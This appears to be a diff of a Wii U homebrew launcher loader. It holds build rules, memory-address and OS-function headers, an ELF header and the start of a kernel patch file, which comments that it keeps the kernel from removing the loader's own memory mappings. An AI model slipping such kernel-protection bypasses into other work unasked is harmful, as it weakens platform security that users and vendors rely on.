$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
cp -r $(root)/*.o $(build)
rm $(root)/*.o
$(LD) -s -o ../code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
clean:
rm -rf $(build)
rm -rf sd_loader.h
make clean -C sd_loader
print_stats:
@echo
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312

2
hbl_loader/README Normal file
View File

@ -0,0 +1,2 @@
This is a modified version of dimok's original homebrew launcher installer which can be found here:
https://github.com/dimok789/homebrew_launcher/tree/master/installer

37
hbl_loader/common.h Normal file
View File

@ -0,0 +1,37 @@
#ifndef COMMON_H
#define COMMON_H
#ifdef __cplusplus
extern "C" {
#endif
#include "os_defs.h"
#define HBL_VERSION "v1.3"
#define CAFE_OS_SD_PATH "/vol/external01"
#define SD_PATH "sd:"
#define WIIU_PATH "/wiiu"
#ifndef MEM_BASE
#define MEM_BASE (0x00800000)
#endif
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
#ifndef EXIT_SUCCESS
#define EXIT_SUCCESS 0
#endif
#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD
#ifdef __cplusplus
}
#endif
#endif /* COMMON_H */

31
hbl_loader/coreinit.h Normal file
View File

@ -0,0 +1,31 @@
//Taken from libwiius coreinit.h
#ifndef COREINIT_H
#define COREINIT_H
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
typedef struct OSContext
{
/* OSContext identifier */
uint32_t tag1;
uint32_t tag2;
/* GPRs */
uint32_t gpr[32];
/* Special registers */
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
/* Initial PC and MSR */
uint32_t srr0;
uint32_t srr1;
} OSContext;
#endif /* COREINIT_H */

7
hbl_loader/crt0.S Normal file
View File

@ -0,0 +1,7 @@
.extern __main
.globl _start
_start:
# jump to our main
b __main

591
hbl_loader/elf_abi.h Normal file
View File

@ -0,0 +1,591 @@
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */

60
hbl_loader/fs_defs.h Normal file
View File

@ -0,0 +1,60 @@
#ifndef FS_DEFS_H
#define FS_DEFS_H
#ifdef __cplusplus
extern "C" {
#endif
/* FS defines and types */
#define FS_MAX_LOCALPATH_SIZE 511
#define FS_MAX_MOUNTPATH_SIZE 128
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
#define FS_STATUS_OK 0
#define FS_RET_UNSUPPORTED_CMD 0x0400
#define FS_RET_NO_ERROR 0x0000
#define FS_RET_ALL_ERROR (unsigned int)(-1)
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
/* max length of file/dir name */
#define FS_MAX_ENTNAME_SIZE 256
#define FS_SOURCETYPE_EXTERNAL 0
#define FS_SOURCETYPE_HFIO 1
#define FS_SOURCETYPE_HFIO 1
#define FS_MOUNT_SOURCE_SIZE 0x300
#define FS_CLIENT_SIZE 0x1700
#define FS_CMD_BLOCK_SIZE 0xA80
typedef struct
{
uint32_t flag;
uint32_t permission;
uint32_t owner_id;
uint32_t group_id;
uint32_t size;
uint32_t alloc_size;
uint64_t quota_size;
uint32_t ent_id;
uint64_t ctime;
uint64_t mtime;
uint8_t attributes[48];
} __attribute__((packed)) FSStat;
typedef struct
{
FSStat stat;
char name[FS_MAX_ENTNAME_SIZE];
} FSDirEntry;
#ifdef __cplusplus
}
#endif
#endif /* FS_DEFS_H */

282
hbl_loader/kernel_patches.S Normal file
View File

@ -0,0 +1,282 @@
#if (VER == 550)
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
